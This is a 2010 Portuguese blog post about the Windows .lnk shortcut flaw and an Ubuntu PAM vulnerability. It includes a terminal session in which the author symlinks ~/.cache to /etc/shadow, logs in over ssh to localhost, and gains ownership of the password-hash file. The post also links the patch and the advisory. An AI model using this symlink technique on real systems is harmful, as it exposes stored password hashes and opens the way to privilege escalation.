Semana passada surgiu um bug no Windows que afetava diretamente os links, isso mesmo!! algum hacker podem usar um arquivo de atalho malicioso, identificado pela extensão “.lnk”, para automaticamente executar o malware. Até a data de Hoje, não há correção para a falha que afeta desde o Windows 2000 até as versões do Windows 7.
Alguns papers explicam como mitigar o ataque, um exemplo é o paper escrito pelo Didier stevens (http://blog.didierstevens.com/2010/07/20/mitigating-lnk-exploitation-with-srp/), mas como o tópico não fala diretamente disso, eu acabei linkando com esse assunto pois uma falha que surgiu a umas semanas atrás, que afeta o módulo do PAM no Ubuntu LTS utiliza os links para poder ser explorada. Já com um patch publicado é aconselhável aplica-lo, explorando a falha não é possível escalar privilégios diretamente, mas é possível ler o /etc/shadow, e dai em diante……… =D Vejam abaixo:
trash@trash-desktop:~$ id
uid=1000(trash) gid=1000(trash) grupos=4(adm),20(dialout),24(cdrom),46(plugdev),105(lpadmin),119(admin),122(sambashare),1000(trash)
trash@trash-desktop:~$ rm -rf .cache/
trash@trash-desktop:~$ ls -la /etc/shadow
-rw-r—– 1 root shadow 1289 2010-07-31 17:19 /etc/shadow
trash@trash-desktop:~$ ln -s /etc/shadow ~/.cache
trash@trash-desktop:~$ ssh localhost
The authenticity of host ‘localhost (::1)’ can’t be established.
RSA key fingerprint is 86:cb:81:06:41:72:c4:f5:0f:7d:56:7f:5e:82:72:26.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added ‘localhost’ (RSA) to the list of known hosts.
trash@localhost’s password:
Linux trash-desktop 2.6.32-21-generic #32-Ubuntu SMP Fri Apr 16 08:10:02 UTC 2010 i686 GNU/Linux
Ubuntu 10.04 LTS
Welcome to Ubuntu!
* Documentation: https://help.ubuntu.com/
The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
Last login: Sun Jul 25 04:18:47 2010 from localhost
trash@trash-desktop:~$ ls -la /etc/shadow
-rw-r—– 1 trash trash 1289 2010-07-31 17:19 /etc/shadow
trash@trash-desktop:~$ tail /etc/shadow =)
Simples assim…
Patch: http://bazaar.launchpad.net/~ubuntu-branches/ubuntu/karmic/pam/karmic-updates/revision/58
Referência: http://www.ubuntu.com/usn/usn-959-1
[]‘s
Sergito
